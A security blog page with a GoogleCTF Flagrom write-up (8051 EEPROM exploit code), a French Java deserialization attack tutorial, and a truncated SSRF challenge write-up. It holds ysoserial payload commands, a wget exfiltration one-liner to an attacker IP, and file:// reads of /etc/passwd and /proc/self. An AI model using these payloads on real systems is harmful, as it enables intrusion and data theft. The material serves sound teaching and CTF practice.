Le blog des experts sécurité Wavestone

GoogleCTF 2019 Quals – Flagrom Challenge Writeup

On June 22 and 23, 2019, Wavestone CTF team YoloSw4g took part in the qualifications for the Google CTF Finals. During this CTF, Google has provided many unusual challenges. Among them is Flagrom, a challenge halfway between hardware hacking and software security.


The goal of the challenge is simple and given in the description:
This 8051 board has a SecureEEPROM installed. It's obvious the flag is stored there. Go and get it.
Four files are provided with it:
  • flagrom: an ELF64 which is the main program,
  • firmware.8051: the firmware which is compiled for an Intel 8051 microcontroller,
  • firmware.c: the source code of firmware.8051,
  • the hardware description (in SystemVerilog) of the SecureEEPROM.

At the first launch, a proof of work is required:
$ ./flagrom What's a printable string less than 64 bytes that starts with flagrom- whose md5 starts with 55d55d

The LD_PRELOAD functionality allows you to bypass the proof of work when executing locally. To do this, simply redefine the exit() function to do nothing:
void exit(int x){ x = 1 ; }

It is then possible to get an overview of how the challenge works:
$ ./flagrom What's a printable string less than 64 bytes that starts with flagrom- whose md5 starts with c7e0be? That looks wrong. Good bye. Wrong answer. Good bye. What's the length of your payload? 0 Executing firmware... [FW] Writing flag to SecureEEPROM...............DONE [FW] Securing SecureEEPROM flag banks...........DONE [FW] Removing flag from 8051 memory.............DONE [FW] Writing welcome message to SecureEEPROM....DONE Executing usercode... Clean exit.
Flagrom operates as follows:
  • Get a proof of work,
  • Get usercode from the user (the payload),
  • Execute the firmware,
  • Execute the usercode.

Let's take a look at the firmware code:
void main(void) { write_flag(); secure_banks(); remove_flag(); write_welcome(); POWEROFF = 1; }
The main() function sum up all actions:
  • The flag is written in the SecureEEPROM, starting at address 64.
  • The second 64-byte bank (the one with the flag) is secured against access.
  • The flag is removed from the main program memory.
  • The string "Hello there" is written in the SecureEEPROM, starting at address 0.

Understanding the SecureEEPROM

All communications with the SecureEEPROM is perform with the I²C protocol. Before going into the SecureEEPROM code, it is necessary to understand how I²C works.
It is a 2-wires master-slave communication protocol widely used in hardware. The first wire, named SCL, serves as a clock to indicated when a signal is safe for reading. The second wire, named SDA, holds the data to be transmitted.

Timing diagram of a I²C communication (source: Wikipedia)

An I²C transaction is a composed of:
  • A start bit (in yellow) which indicate a new transaction is about to be sent,
  • Several data bits (in green), indicated with a high SCL,
  • A stop bit (in yellow) which indicate the end on the transaction.
After every byte, a special state of SDA and SCL allows slaves to acknowledge (ACK) the reception of data.

I²C specifications define an addressing structure to indicate which slave is the recipient:
  • The address constitutes the first 7 bits of the transaction (most significant bit first).
  • The 8th bit indicates whether it is a read (1) or write (0) action.
  • The slave acknowledges here (first byte).
  • The rest is the data which is device-specific.

Start Slave address R/W ACK Data Stop
0 1 2 3 4 5 6 7
1 = W
Addressing structure of an I²C transaction

For the SecureEEPROM, two addresses are defined in firmware.c:
  • The address of the memory module used to read and write data in the EEPROM,
  • The address of the security module used to secure EEPROM data banks.
The messages to the security module do not exactly follows this structure. A 4-bit prefix is used as slave address, while the remaining four bits (bits 4 to 7) are used to indicate which 64-bytes bank to secure.

Let's now take a deeper look at the hardware description of the SecureEEPROM. It is written in SystemVerilog syntax. If you are not comfortable with it, you should first read the Wikipedia page to understand the basis.
Some procedural blocks are used to keep track of the state of the I²C bus within the program:
  • i2c_scl_state keeps track of the state of the SCL wire. It may be stable high, stable low or on a rising or falling edge.
  • i2c_start and i2c_stop are set whenever a start or stop bit is sent on the bus.

The main part of the SecureEEPROM hardware is a Flip-Flop procedural block (always_ff) which defines a finite state machine to handle I²C communications and actions on the EEPROM.

Finite state machine of the SecureEEPROM

  • The SecureEEPROM start in the state I2C_IDLE where it waits for a start bit to be received.
  • After the start bit, it reads the first control byte to get the slave address (control_prefix) to perform the right actions.
  • When the recipient is the security module, the bank index is contained in the least four significant bits of the control. It is directly secured and the SecureEEPROM returns in the I2C_IDLE state.
  • When the recipient is the EEPROM module, the action depends on the R/W bit of the control byte:
    • For write action, the EEPROM first read an address before writing into memory.
    • For read action, the EEPROM need to have already an address loaded before sending bytes of its memory. To read the EEPROM from the user program, one should
      • Start a write transaction to the EEPROM module and load the address,
      • Start a new read transaction to the EEPROM module without a stop bit,
      • Read the required number of bytes,
      • Send a stop bit to end the transaction.
  • In any state, the reception of a stop bit will clear the loaded address and transition to the I2C_IDLE state.
  • In any state, the reception of a start bit will transition to the I2C_START state without clearing the loaded address.

Reading secured areas

Finding the vulnerability

The protection of the memory, in the EEPROM, is performed at two stages:
  • When an address is loaded, if the pointed memory location is secured, the address is tainted as invalid (i2c_address_valid = 0),
  • After each read or write action, the loaded address is increased only if the security of the next address is the same as the security of the current address.
The latter condition is strange: why not only check whether next address is secured? It means that it is possible to read secured address if the current address is secured. However, we cannot load a secured address because of the former condition.
What about changing the security of the current address after loading it?
  • When a bank is secured, the loaded address is not checked nor invalidated.
  • We cannot send any stop bit otherwise the loaded address would be invalidated.
  • However, we can use the start bit to start a new transaction while keeping the address loaded.

With this in mind, a path of three transactions can be found to read secured area

First load an address in the first unprotected bank and end with a start bit:

Exploitation path — load an unprotected address

Then secure the first bank:

Exploitation path — secure the bank of the loaded address

Finally, start a read action and read past the current bank boundaries:

Exploitation path — read past the current bank

Exploitation from a user code

Now that the exploitation path is known, a user code needs to be written to exploit it. The 8051 microcontroller provides a high-level interface for I²C communications.
void seeprom_write_byte(unsigned char addr, unsigned char value) { seeprom_wait_until_idle(); I2C_ADDR = SEEPROM_I2C_ADDR_MEMORY; I2C_LENGTH = 2; I2C_ERROR_CODE = 0; I2C_DATA[0] = addr; I2C_DATA[1] = value; I2C_RW_MASK = 0b00; // 2x Write Byte I2C_STATE = 1; seeprom_wait_until_idle(); }
It is, however, not possible to change the address within the same communication. A raw access to I²C wires is however provided:
__sfr __at(0xfa) RAW_I2C_SCL; __sfr __at(0xfb) RAW_I2C_SDA;
Wikipedia provides an example in C code in the I²C page. It can be used as a base for the exploitation program. It gives two high level function to read and write bytes:
unsigned char i2c_write_byte(unsigned char send_start, unsigned char send_stop, unsigned char byte); unsigned char i2c_read_byte(unsigned char send_stop);
The acknowledgement of the function i2c_read_byte needs to be modified for it to work with the EEPROM. The EEPROM can be exploited with the following code:
#define SEEPROM_I2C_CTRL_READ (SEEPROM_I2C_ADDR_MEMORY | 0b1) #define SEEPROM_I2C_CTRL_WRIT (SEEPROM_I2C_ADDR_MEMORY | 0b0) void main(void) { int i; print("start user program\n"); /* Load address 0 */ i2c_write_byte(1, 0, SEEPROM_I2C_CTRL_WRIT); i2c_write_byte(0, 0, 0); /* Secure all banks */ i2c_write_byte(1, 0, SEEPROM_I2C_ADDR_SECURE | 0b1111); /* Read 255 bytes of memory */ i2c_write_byte(1, 0, SEEPROM_I2C_CTRL_READ); for (i=0; i<255; i++) { if (i%64 == 0) { print("\n"); } CHAROUT = i2c_read_byte(0); } print("\n"); POWEROFF = 1; }

The full exploitation program can be found here. On Linux, the compiler sdcc supports Inter 8051 microcontroller and may be used. It generates an IntelHex format which should be converted to a raw binary. Some Python libraries exist to perform the conversion.
$ { echo; wc -c hack.bin; cat hack.bin; } | LD_PRELOAD=../solve/ ./flagrom What's a printable string less than 64 bytes that starts with flagrom- whose md5 starts with 01c5a4? That looks wrong. Good bye. Wrong answer. Good bye. What's the length of your payload? Executing firmware... [FW] Writing flag to SecureEEPROM...............DONE [FW] Securing SecureEEPROM flag banks...........DONE [FW] Removing flag from 8051 memory.............DONE [FW] Writing welcome message to SecureEEPROM....DONE Executing usercode... start user program Hello there. On the real server the flag is loaded here. Clean exit.

The code works just fine on the local instance and we successfully get a fake flag.

Exploiting the remote service

Completing the proof of work

To exploit the SecureEEPROM remotely, the final step is to perform the proof of work. Nothing complex in it, just brute force until you find a valid proof. Here is a Python code doing that:
from pwn import * io = remote('', 1337) ask = io.recvuntil('\n').split() start, md5 = ask[11], ask[16][:-1] print "Proof of work with:" print " start = %s" % start print " md5 = %s" % md5 while True: r = random.random() s = start + str(r) if hashlib.md5(s).hexdigest().startswith(md5): print "Found %s" % s break

Retrieving the flag

A complete exploit can be downloaded here. It handles the compilation of the user code, performs the proof of work and run the user code.
$ python remote hack.c [+] Starting local process './flagrom': pid 7333 Sending payload Received data ---------------------------------- [+] Receiving all data: Done (467B) [*] Process './flagrom' stopped with exit code 0 (pid 7333) Executing firmware... [FW] Writing flag to SecureEEPROM...............DONE [FW] Securing SecureEEPROM flag banks...........DONE [FW] Removing flag from 8051 memory.............DONE [FW] Writing welcome message to SecureEEPROM....DONE Executing usercode... start user program Hello there CTF{flagrom-and-on-and-on} Clean exit.

Gauthier SEBAUX

Techniques et outils d’attaque sur les moteurs de désérialisation (Java)


La sérialisation consiste à transformer un objet applicatif en un format de données pouvant être restauré ultérieurement. Ce procédé est utilisé pour sauvegarder des objets ou les envoyer dans le cadre de communications.

Exemple de sérialisation d'une variable de type String en Java:

String name = "Wavestone"; FileOutputStream file = new FileOutputStream("file.bin"); ObjectOutputStream out = new ObjectOutputStream(file); out.writeObject(name);

Le fichier file.bin contenant l’objet name sérialisé a cette forme :

AC ED 00 05 74 00 09 57 61 76 65 73 74 6f 6e 65 ....t..Wavestone

  • La chaîne commence par “AC ED” – il s’agit du code hexadécimal identifiant la donnée sérialisée, toutes les données sérialisées commencent par cette valeur.
  • Le protocole de sérialisation version “00 05”.
  • Le type de variable String est identifié par le code “74”.
  • Puis la taille de la variable “00 09”.
  • Et finalement la variable en elle-même.

La désérialisation est l'inverse de ce processus, prenant des données structurées à partir d'un format et les reconstruisant en un objet. Le format de données le plus répandu pour la sérialisation des données est JSON (dans le passé, le format XML était majoritaire).
Pour reprendre l’exemple en Java sus-cité :

FileInputStream file = new FileInputStream("file.bin"); ObjectInputStream out = new ObjectInputStream(file); name = (String)out.readObject(); System.out.println(name);

Le résultat dans la console sera donc

La fonction readObject est appelée pour désérialiser l'objet (à l'aide de ObjectInputStream) - et le convertir en String.

La désérialisation a de multiples cas d’usage pour les développeurs, par exemple (ici en Java) :
  • Désérialiser un objet “SQLConnection” pour se connecter à une base de données
  • Désérialiser un objet “User” pour récupérer des informations stockées dans une base de données en exécutant des requêtes SQL spécifiques
  • Désérialiser un objet “LogFile” pour restaurer les données précédemment enregistrées sur un profil utilisateur

De nombreux langages de programmation offrent une capacité native de sérialisation des objets. Ces formats natifs offrent généralement davantage de fonctionnalités que JSON ou XML, y compris la personnalisation du processus de sérialisation.

Malheureusement, les fonctionnalités de ces mécanismes de désérialisation natifs peuvent être détournées à des fins malveillantes lorsque la donnée à désérialiser est en fait une charge utile forgée spécifiquement par un attaquant pour être interprété comme du code à exécuter.

Les attaques contre les moteurs de désérialisation permettent notamment des attaques par déni de service, de contournement de contrôle d'accès et d'exécution de code à distance (RCE).

Exemple d’attaque : RCE

Cet exemple de code récupère un paramètre appelé csrfValue, qui est un jeton anti-CSRF présent sur une application web, envoyé à l’application sous forme de paramètre HTTP GET.
Pour cela, le paramètre est récupéré sous forme de String puis converti en ByteArrayInputStream et lu via la fonction readObject() pour être désérialisé.

String parameterValue = request.getParameter("csrfValue"); byte[] csrfBytes =DatatypeConverter.parseBase64Binary(parameterValue); ByteArrayInputStream bis = new ByteArrayInputStream(csrfBytes); ObjectInput in = new ObjectInputStream(bis); csrfToken = (CSRF)in.readObject();

Cette fonction est potentiellement vulnérable: en effet, la fonction readObject() est appelé sur des valeurs envoyées par l’utilisateur en tant que paramètre csrfValue de la requête HTTP.

En effet, la fonction readObject() a pour spécificité de pouvoir être implémentée dans les classes Serializable qui en ont besoin pour lire un objet sérialisé.
Imaginons par exemple que la classe CSRF vue plus haut contienne pour une raison obscure ce morceau de code :

public class CSRF implements Serializable { public String command = "ls"; public void execCommand(){ Runtime.getRuntime().exec(this.command); private void readObject( in) throws IOException, ClassNotFoundException { this.execCommand(); } }

L’attaquant n’aurait qu’à forger un objet CSRF sérialisé (récupéré par le code plus haut dans csrfValue) contenant un paramètre command contenant la commande de son choix pour exécuter du code arbitrairement sur le serveur.

En effet :
  • ObjectInputStream ne vérifie pas quelle classe est désérialisée
  • Il n’y a pas de liste blanche ou noire de classes autorisées à être désérialisées

Ce cas de figure très facile à exploiter d’une implémentation de readObject() exécutant directement du code est toutefois très rare dans la réalité.
Ce qui arrive le plus fréquemment est que l’attaquant trouve une fonction ou une classe vulnérable à la modification de ses paramètres, qui peut appeler une autre fonction ou instancier une autre classe dans son périmètre d’exécution.

Les classes et fonctions disponibles dans le périmètre d’exécution d’une application sont appelées « gadget ». Suite à l’envoi d’une charge malveillante à un premier gadget appelé « kick-off gadget », une chaîne d’appels et d’invocation est lancée jusqu’à tomber sur un gadget qui est vulnérable à l’exécution de code arbitraire, appelé « sink gadget » :

De nombreux sink gadget existent dans les librairies de sérialisation/désérialisation standard, notamment :
  • Spring AOP (dévoilé par Wouter Coekaerts en 2011)
  • Commons-fileupload (dévoilé par Arun Babu Neelicattu en 2013)
  • Groovy (dévoilé par cpnrodzc7 / @frohoff en 2015)
  • Apache Commons-Collections (dévoilé par @frohoff et @gebl en 2015)
  • Spring Beans (dévoilé par @frohoff et @gebl en 2015)
  • Serial DoS (dévoilé par Wouter Coekaerts en 2015)
  • SpringTx (dévoilé par @zerothinking en 2016)
  • JDK7 (dévoilé par @frohoff en 2016)
  • Beanutils (dévoilé par @frohoff en 2016)
  • Hibernate, MyFaces, C3P0, net.sf.json, ROME (dévoilé par M. Bechler en 2016)
  • Beanshell (dévoilé par @pwntester et @cschneider4711 en 2016)
  • JDK7 Rhino (dévoilé par @matthias_kaiser en 2016)

Des outils générant des charges utiles spécialement conçues pour attaquer des gadgets affectés par des vulnérabilités publiques dans les librairies les plus utilisées existent, notamment le très complet ysoserial, développé par Frohoff :

Exemple d’attaque : Compromission de compte utilisateur

Si un attaquant contrôle les données qui sont désérialisée par une application, il a alors une influence sur les variables en mémoire et les objets applicatifs. Il peut alors influencer le flux de code utilisant ces variables et ces objets.
Voyons un exemple d’attaque sur un morceau de code utilisant la désérialisation en Java :

public class Session { public String username; public boolean loggedIn; public void loadSession(byte[] sessionData) throws Exception { ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(sessionData)); this.username = ois.readUTF(); this.loggedIn = ois.readBoolean(); } }

La méthode loadSession accepte un tableau d’octets en tant que paramètre et désérialise une chaîne et un booléen de ce tableau d'octets dans les propriétés username et loggedIn de l'objet.
Si un attaquant peut contrôler le contenu du tableau d’octets sessionData transmis à cette méthode, il peut alors contrôler les propriétés de cet objet : username et loggedIn.

Voici un exemple d'utilisation de cet objet Session dans une fonction de changement de mot de passe :

public class UserSettingsController { public void updatePassword(Session session, String newPassword) throws Exception { if(session.loggedIn) { UserModel.updatePassword(session.username, newPassword); } else { throw new Exception("Error: User not logged in."); } } }

Si le paramètre loggedIn de l’objet session vaut 1, le mot de passe de l'utilisateur dont le username correspond au paramètre idoine de l’objet session est mis à jour avec la valeur newPassword donnée.
Ici, si l’attaquant peut contrôler le contenu du tableau d’octets sessionData alors il pourrait changer le mot de passe de n’importe quel utilisateur !

C’est un exemple simple de « Property Oriented Programming Gadget », un morceau de code sur lequel l’attaquant peut agir non pas en direct mais via les propriétés d’un objet.

Un point important à retenir de cet exemple est qu'un exploit de désérialisation n'implique pas forcément l'envoi de classes ou de code au serveur à exécuter.
L’attaquant envoie simplement des données qui seront intégrées dans propriétés des classes dont le serveur a déjà connaissance afin de manipuler le code existant traitant de ces propriétés.
Un exploit réussi repose donc énormément sur la connaissance du code qui peut être manipulé par désérialisation. D’où beaucoup de difficultés à exploiter les vulnérabilités de type désérialisation malgré l’impact parfois colossal de ce type de failles.

Après la théorie, la pratique

Maintenant que vous savez tout (ou presque) sur la sérialisation/désérialisation Java et ses faiblesses, passons à la pratique :
  1. Comment trouver les fonctions utilisant la désérialisation lors d’un test d'intrusion web et les librairies utilisées ?
  2. Comment attaquer ces fonctions et potentiellement réussir à exécuter du code sur le serveur ?

Trouver les fonctions à attaquer

Méthode 1 : A la main, pour plus de finesse

La première étape de l’audit consiste à identifier l’utilisation de la désérialisation dans l’application auditée. Pour cela, différentes méthodes sont possibles :
  • Chercher la séquence hexadécimale suivante dans les transactions (capturées par burp) entre votre machine et le serveur : 0xAC ED.
    • Cette séquence de 2 octets est appelée « magic number » et est présente au début de chaque objet sérialisé. Elle est suivie du numéro de version, souvent 00 05.
    • Attention : Parfois, les objets sérialisés sont en plus encodés en base64, la séquence 0xAC ED devient alors rO0
  • Chercher des noms de classes Java dans les transactions, tels que java.rmi.dgc.Lease.
    • Dans certains cas, les noms de classe Java peuvent apparaître dans un autre format commençant par un « L », se terminant par un « ; » et utilisant des barres obliques pour séparer les parties de l'espace de noms et le nom de la classe (par exemple, "Ljava / rmi / dgc / VMID;").
    • En raison de la spécification du format de sérialisation, d'autres chaînes peuvent être présentes, telles que "sr" pouvant représenter un objet (TC_OBJECT) suivi de sa description de classe (TC_CLASSDESC) ou "xp" pouvant indiquer la fin des annotations de classe, (TC_ENDBLOCKDATA) pour une classe qui n'a pas de super classe (TC_NULL).
  • Chercher l'entête Content-Type suivant : application/x-java-serialized-object

Après avoir identifié l'utilisation de données sérialisées, il faut identifier l’offset dans ces données où il est possible d’injecter une charge utile.
La cible doit appeler ObjectInputStream.readObject pour désérialiser et instancier un objet. Toutefois, elle peut appeler d'autres méthodes de ObjectInputStream, telles que readInt qui lira simplement un entier à 4 octets dans le stream. La méthode readObject lit les types de contenu suivants à partir d'un flux de sérialisation :
  • 0x70 – TC_NULL
  • 0x71 – TC_REFERENCE
  • 0x72 – TC_CLASSDESC
  • 0x73 – TC_OBJECT
  • 0x74 – TC_STRING
  • 0x75 – TC_ARRAY
  • 0x76 – TC_CLASS
  • 0x7E – TC_ENUM

Dans les cas les plus simples, la première chose lue dans le flux de sérialisation est directement l’objet à désérialiser, et nous pouvons donc insérer notre charge directement après l'en-tête de sérialisation à 4 octets.
Nous pouvons identifier ces cas en regardant les cinq premiers octets du flux de sérialisation. Si ces cinq octets sont un en-tête de sérialisation à quatre octets (0xAC ED 00 05) suivi d'une des valeurs répertoriées ci-dessus, nous pouvons attaquer la cible en envoyant notre propre en-tête de sérialisation à quatre octets suivis d'un objet malveillant (la charge).

Dans d'autres cas, l'en-tête de sérialisation à quatre octets sera probablement suivi d'un élément TC_BLOCKDATA (0x77) ou d'un élément TC_BLOCKDATALONG (0x7A). Le premier consiste en un unique octet suivi des données de bloc et le second consiste en quatre octets suivi des données de bloc.
Si les données sont suivies de l'un des types d'élément pris en charge par readObject, nous pouvons alors injecter une charge utile après les données de bloc.

Nick Bloor a écrit un outil, SerializationDumper, qui permet de faciliter cette analyse. Voici un exemple d’utilisation :

Dans cet exemple, le flux contient un TC_BLOCKDATA suivi d'un TC_STRING qui peut être remplacé par une charge utile.

Méthode 2 : Automatiquement pour plus d'exhaustivité

Pour détecter des fonctions utilisant la désérialisation de façon automatisée, il est aussi possible d’utiliser l’extension Burp Java Deserialization Scanner en tant que scanner passif, scanner actif, ou pour tester une fonction précise.
Les librairies vulnérables actuellement prises en charge par l’outil sont :
  • Apache Commons Collections 3 (up to 3.2.1)
  • Apache Commons Collections 4 (up to 4.4.0)
  • Spring (up to 4.2.2)
  • Java 6 and Java 7 (up to Jdk7u21)
  • Hibernate 5
  • JSON
  • Rome
  • Java 8 (up to Jdk8u20)
  • Apache Commons BeanUtils

Pour utiliser la fonction de scanner passif ou actif, il suffit d’aller dans l’onglet correspondant de Burp et attendre l’apparition d’éventuelles vulnérabilités :

Pour tester une fonction précise, il faut dans un premier temps intercepter une requête dans Burp, puis réaliser un clic droit et l’envoyer à Java DS :

L’outil permet de déterminer les charges utiles (gadgets) qui semblent fonctionner, donc de deviner les librairies utilisées par l’application pour la désérialisation:

A noter

Le plug-in Java DS repose sur un outil intégré de génération de charges utiles (gadgets) open source : ysoserial. Il est préférable d’utiliser la dernière version de l’outil, car elle inclut les types de charge les plus récents en fonction des vulnérabilités découvertes sur les librairies de sérialisation.
Une fois le projet créé, n’oubliez donc pas de modifier le plug-in Java DS pour qu'il pointe vers le fichier jar ysoserial que vous aurez préalablement téléchargé :

Attaquer les fonctions utilisant la désérialisation

La fonction de désérialisation utilisée par l’application peut :
  • Être écrite et redéfinie spécifiquement dans la classe de l’objet à désérialiser (override de la méthode readObject)
  • Être appelée dans une bibliothèque externe, la plus connue étant Apache Commons Collections (fonction Utils.DeserializeFromFile)
  • De nombreuses autres possibilités existent : méthode readResolve, méthode readExternal, méthode readUnshared, bibliothèque XStream, etc.

L’outil Java Deserialization Scanner aura permis d’identifier la librairie utilisée. La prochaine étape est donc de générer la charge utile (gadget) correspondant à la librairie en question.
Pour cela il existe 3 possibilités :
  • Générer un payload avec ysoserial puis l’envoyer au serveur
  • Utiliser l’extension Burp Java Deserialization Scanner
  • Utiliser l’extension Burp Java Serial Killer

Méthode 1 : YSoSerial

L'une des vulnérabilités les plus importantes liée à la désérialisation a été découverte dans la bibliothèque Apache Commons Collections.
Si une version vulnérable de cette bibliothèque (ou d’une autre bibliothèque vulnérable) est présente sur le système exécutant l'application utilisant la désérialisation, cette vulnérabilité peut entraîner l'exécution de code à distance.
Afin d'exploiter cette vulnérabilité, il est possible d’utiliser l'outil ysoserial, qui contient une collection d'exploits et permet de générer des objets sérialisés malveillants qui exécuteront des commandes lors de la désérialisation. 
Il est juste nécessaire de spécifier la bibliothèque vulnérable. Voici un exemple pour Windows :
java -jar ysoserial-master.jar CommonsCollections5 calc.exe > wave.stone

Cela générera un objet sérialisé (fichier wave.stone) pour la bibliothèque vulnérable Apache Commons Collections et l'exploit exécutera la commande « calc.exe ».
Si le code suivant est présent côté serveur :

LogFile objet = new LogFile(); String file = "wave.stone"; // Désérialisation de l’objet objet = (LogFile)Utils.DeserializeFromFile(file);

Alors après envoi de la charge malveillante au serveur (via Burp), l’output côté serveur sera le suivant :

Deserializing from wave.stone Exception in thread "main" java.lang.ClassCastException: cannot be cast to LogFile at LogFiles.main(

Et le résultat sur le serveur sera l’exécution de calc.exe :

Méthode 2 : Java DS

À la suite de la phase de détection, nous savons qu’une charge utile (gadget) forgé pour CommonsCollections1 fonctionne contre notre cible.
En accédant à l’onglet « Exploiting » de Java DS, il est possible de créer et d’envoyer nos propres charges utiles.
Par exemple, pour tenter de lancer la commande uname -a sur le système Unix distant (si c’est un Unix) on entrera la commande suivante :

Le serveur renvoie ici un autre objet sérialisé en réponse, ce qui ne nous permet absolument pas de savoir si notre commande a réussi ou pas, ni d’avoir sa sortie.

Une technique permettant de valider l'exécution réussie de nos commandes consiste à utiliser un canal auxiliaire basé sur le temps : En mettant en pause le processus en cours d’exécution avec la commande Java Sleep, nous pouvons démontrer avec certitude que l’application est vulnérable en mesurant le temps de réponse du serveur.

Une charge utile basée sur la mise en pause du processus est donc suffisante pour identifier la vulnérabilité, mais si vous avez le temps et voulez aller encore plus loin, il est possible de récupérer cette sortie en déployant un serveur web sur votre machine, et en requêtant votre serveur web depuis le serveur cible.
Pour cela, sur votre machine d’audit, commencez par déployer un serveur web :
python -m SimpleHTTPServer 80

Et l’objectif va être de faire exécuter cette commande au serveur cible :
wget ip_attaquant/`uname -a | base64`

L’exploit de Apache Commons Collections fait transmettre notre commande à Apache Commons exec.
Par conséquent, les commandes sont invoquées sans avoir de shell parent, ce qui limite rapidement les actions… Mais on peut appeler un shell bash via Apache Commons exec via la commande bash -c.
Toutefois, Apache Commons exec parse les commandes en gérant très mal les espaces... Pour résoudre ce problème, on peut utiliser 2 approches :
  • Utiliser les fonctions de manipulation de chaîne en bash. Par exemple, cette commande charge le résultat en base64 de la commande echo yoloswag dans la variable c, qui est ensuite ajoutée au chemin de la requête wget : 
bash -c c=`{echo,yoloswag}|base64`&&{wget,ip_attaquant/$c}'

  • Il est aussi possible d’utiliser la variable $IFS (séparateur de champs interne) à la place des espaces dans la commande transmise à Bash. Ici pour lancer un uname -a :
bash –c wget$IFSip_attaquant/`uname$IFS-a|base64`

Dernier point important : il peut être nécessaire d’échapper les barres obliques et les signes dollar dans certaines situations, tout dépend de la charge utile et des fonctions touchées.
Ici, avec une machine d’audit ayant pour IP :

Le résultat côté serveur web sur la machine d’audit est le suivant :

Une requête depuis l’IP du serveur cible apparaît, vers une URL encodée en base64 et qui correspond à la sortie de la commande « uname -a ».
En effet, après une extraction de la donnée et son décodage base64 par la commande suivante :
tail -n1 access.log | cut -d/ -f4 | cut ‘d’’ -f1 | base64 -d

Le résultat suivant apparaît :

Vous avez donc exécuté une commande uname -a avec succès sur le serveur cible : vous êtes désormais un serial hacker accompli !

Le maître deserializateur veut vous serrer la main

Méthode 3 : Java Serial Killer

À la suite de la phase de détection, nous savons qu’une charge utile (gadget) forgé pour CommonsCollections1 fonctionne contre notre cible.
Vous pouvez alors utiliser l’extension Burp Java Serial Killer ; un clic-droit sur une requête POST contenant un objet Java sérialisé dans le body permet de l’envoyer à l’extension :

Allez ensuite dans l’onglet Burp « Java Serial Killer » :

Cet onglet prend en entrée :
  • Une commande à exécuter sur le serveur cible
  • La librairie vulnérable à exploiter

Par exemple, pour envoyer une requête ping à en utilisant le type de charge utile CommonsCollections1, car nous savons qu’elle fonctionne suite à la phase de détection :

Il est aussi possible d’encoder la charge en Base64, si c’est le format attendu par le serveur (voir la petite checkbox à droite de « Serialize »).


Vous avez désormais les bases théoriques permettant de comprendre les vulnérabilités liées à la désérialisation en Java, et les techniques et outillages pratiques permettant de les exploiter dans les librairies les plus connues, sans connaissance préalable du code applicatif.

Toutefois, il est à garder en tête que ces librairies ne sont pas utilisées dans 100% des cas de désérialisation, comme vu dans le chapitre « Exemple d’attaque : Compromission de compte utilisateur », où la vulnérabilité exploitée n’impliquait d’ailleurs même pas l'envoi de code au serveur à exécuter. Les exploits plus spécifiques reposent donc énormément sur la connaissance du code (ou l’ingénierie inverse sur ce code) qui peut être manipulé par désérialisation. D’où beaucoup de difficultés à exploiter les vulnérabilités de type désérialisation malgré l’impact parfois colossal de ce type de failles.

Par ailleurs, la sérialisation/désérialisation n’est pas un concept exclusif à Java, et se retrouve dans de nombreux autres langages de programmation, notamment :
  • Python : pickling / unpickling
  • PHP : serializing / deserializing
  • Ruby : marshalling / unmarshalling

La méthodologie globale reste la même, mais les outils peuvent varier (Freddy à la place de ysoserial pour les moteurs de désérialisation XML par exemple…).
La cheatsheet suivante peut donner de bonnes pistes d’audit pour ces autres langages et technologies :


Sources et références pour approfondir le sujet

Article Nytro sur la désérialisation Java 
Article de Synopsys expliquant comment exfiltrer de la donnée via la désérialisation Java et contourner les principales limitations techniques que l’on peut rencontrer
Cheatsheet pour la désérialisation Java
La désérialisation Java avec Burp
Article complet expliquant la désérialisation Java et listant plusieurs outils dédiés
Liste de recommandations sur l’usage de la désérialisation pour divers langages
Support d’un talk d’Insomnia sur la désérialisation pour plusieurs langages à l’OWASP New Zealand Day 2016
Exploitation de vulnérabilités de désérialisation Java dans des environnements sécurisés (systèmes avec pare-feu, Java mis à jour)
Exploiter la désérialisation Java en aveugle avec Burp et Ysoserial
Write-up du challenge Webgoat 8 (application d’entraînement développée par l’OWASP) d’exploitation d’une vulnérabilité de désérialisation non sécurisée
Article d’un reverse engineer de Tenable expliquant l’analyse de la  CVE-2016-3737, et l’écriture de gadgets pour Jython
Cours Java sur l’implémentation d’une classe sérialisable
Support d’un talk d’Alvaro Munoz (@pwntester) et Christian Schneider (@cschneider4711) à l’OWASP AppSecEU 2016 sur les vulnérabilités de désérialisation de la JVM et comment s’en protéger
Support d’un talk de Chris Frohoff (@frohoff) et Gabriel Lawrence (@gebl) à l’OWASP San Diego sur la désérialisation Java
Analyse de l’attaque d’Equifax (143 millions de clients touchés aux USA) en 2017 par @brandur, reposant sur le chaînage de gadgets
Support d’un talk de Matthias Kaiser (@matthias_kaiser) à la HackPra WS 2015 sur l’exploitation de vulnérabilités de désérialisation non-sécurisée
Article de Ian Haken sur la découverte automatisée de chaînes de gadgets, notamment avec Gadget Inspector
Article de @breenmachine de 2015 sur la désérialisation Java dans plusieurs technologies du marché et détail de 5 exploits (websphere, jboss, jenkins, weblogic et openNMS)

YesWeHack : Write-up du challenge LeHack

Le vendredi 28 juin dernier, l'association YesWeHack a publié sur son compte Twitter un challenge permettant de gagner une place pour l'événement LeHack, qui aura lieu les 6 et 7 juillet :

Ce dernier se présente sous la forme d'un challenge web nommé "Full Backend Stealer v3.13.37" :

Après plusieurs étapes, décrites ci-dessous, le challenge est tombé et la place a été attribuée !

Etape 1 : Server-side request forgery

Le serveur web se présente sous la forme d'une application permettant de récupérer le code source d'un autre site web. Par exemple sur le site :

Le requêteur a l'air d'être basé sur la libcurl, qui permet de gérer plusieurs protocoles d'accès aux données. A force de tests, le support pour les protocoles suivants à été établi :
  • http:// et https://
  • ftp://
  • gopher://
  • file://
Le protocole file:// permet notamment de requêter des fichiers locaux au serveur, permettant de réaliser une attaque de type Path Traversal. Par exemple, il est possible de recupérer le fichier /etc/passwd :

L'objectif serait alors de récupérer le code de l'application web. Pour ceci, le système de fichier procfs peut être utilisé, notamment le lien symbolique /proc/self qui pointe sur le répertoire /proc/<PID>/ de notre programme.
Les fichiers suivants sont d'intérêt :

/proc/self/environ : variables d'environnement

PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin HOSTNAME=6a3165363d68 LANG=C.UTF-8 GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D PYTHON_VERSION=3.7.3 PYTHON_PIP_VERSION=19.1.1 HOME=/nonexistent
Ce fichier nous apprend que l'application utilise Python3, donc probablement Flask ou Django.

/proc/self/cmdline : chemin et arguments du programme

/usr/local/bin/python /usr/local/bin/gunicorn -b -w4 -t5 main:app
Ce fichier nous confirme l'utilisation de Python et nous indique que la source de l'application est située dans le fichier du répertoire courant.

/proc/self/cwd/ : code source de l'application

